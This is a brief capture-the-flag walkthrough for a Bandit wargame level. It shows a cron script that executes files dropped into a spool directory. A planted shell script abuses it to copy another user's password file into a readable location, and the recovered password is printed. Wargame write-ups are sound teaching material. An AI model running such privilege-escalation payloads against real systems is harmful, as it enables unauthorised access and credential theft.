Concepts to consider

bandit 23

Task

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

Solution

lets see the file

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

lets create a temp directory and a script , This script must be passed to foo

bandit23@bandit:/tmp/tmp.y8MUAUgn0i$ vim a.sh

bandit23@bandit:/tmp/tmp.y8MUAUgn0i$ cat a.sh
cat /etc/bandit_pass/bandit24 > /tmp/tmp.y8MUAUgn0i/holabebecita
chmod 444 /tmp/tmp.y8MUAUgn0i/holabebecita

bandit23@bandit:/tmp/tmp.y8MUAUgn0i$ cp a.sh /var/spool/bandit24/foo/a1.sh

That script copy the password to a file readable for the actual user

lets see the password

bandit23@bandit:/tmp/tmp.y8MUAUgn0i$ cat holabebecita
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar